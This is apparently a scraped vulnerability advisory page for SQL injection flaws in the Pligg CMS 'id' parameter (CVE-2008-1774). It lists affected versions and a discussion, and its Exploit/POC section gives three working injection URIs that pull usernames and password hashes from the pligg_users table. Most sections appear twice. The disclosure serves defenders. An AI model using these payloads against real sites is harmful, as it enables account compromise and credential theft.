Pligg 'id' Parameter Multiple SQL Injection Vulnerabilities
BID:28681
Info
Pligg 'id' Parameter Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 28681 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-1774 |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 08 2008 12:00AM |
| Updated: | May 07 2015 05:30PM |
| Credit: | Guido Landi, Hussin X |
| Vulnerable: |
Pligg Pligg 9.9.5 Pligg Pligg 9.9 Pligg Pligg 1.0.4 Pligg Pligg 1.0.3 Pligg Pligg 1.0.2 Pligg Pligg 9.9.5b Pligg Pligg 9.5 |
| Not Vulnerable: | |
Discussion
Pligg 'id' Parameter Multiple SQL Injection Vulnerabilities
Pligg is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Pligg 9.9.0 is vulnerable; other versions may also be affected.
NOTE: This BID was formerly titled 'Pligg 'editlink.php' SQL Injection Vulnerability', but has been updated to reflect new information.
Update (April 28, 2010): Pligg 1.0.4 is reported to be vulnerable to the 'story.php' issue.
Pligg is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Pligg 9.9.0 is vulnerable; other versions may also be affected.
NOTE: This BID was formerly titled 'Pligg 'editlink.php' SQL Injection Vulnerability', but has been updated to reflect new information.
Update (April 28, 2010): Pligg 1.0.4 is reported to be vulnerable to the 'story.php' issue.
Exploit / POC
Pligg 'id' Parameter Multiple SQL Injection Vulnerabilities
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/editlink.php?id=1+AND+((SELECT+user_pass+FROM+pligg_users+WHERE+user_login=0x676f64)+LIKE+0x25)+UNION+SELECT+10,2
http://www.example.com/story.php?id=-4+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,user_login,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+from+pligg_users--
http://www.example.com/story.php?id=2+AND+1=2+UNION+SELECT+0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat(user_login,0x3a,user_pass),17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34+from+pligg_users--
The following exploit is available:
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/editlink.php?id=1+AND+((SELECT+user_pass+FROM+pligg_users+WHERE+user_login=0x676f64)+LIKE+0x25)+UNION+SELECT+10,2
http://www.example.com/story.php?id=-4+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,user_login,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+from+pligg_users--
http://www.example.com/story.php?id=2+AND+1=2+UNION+SELECT+0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat(user_login,0x3a,user_pass),17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34+from+pligg_users--
The following exploit is available:
Solution / Fix
Pligg 'id' Parameter Multiple SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].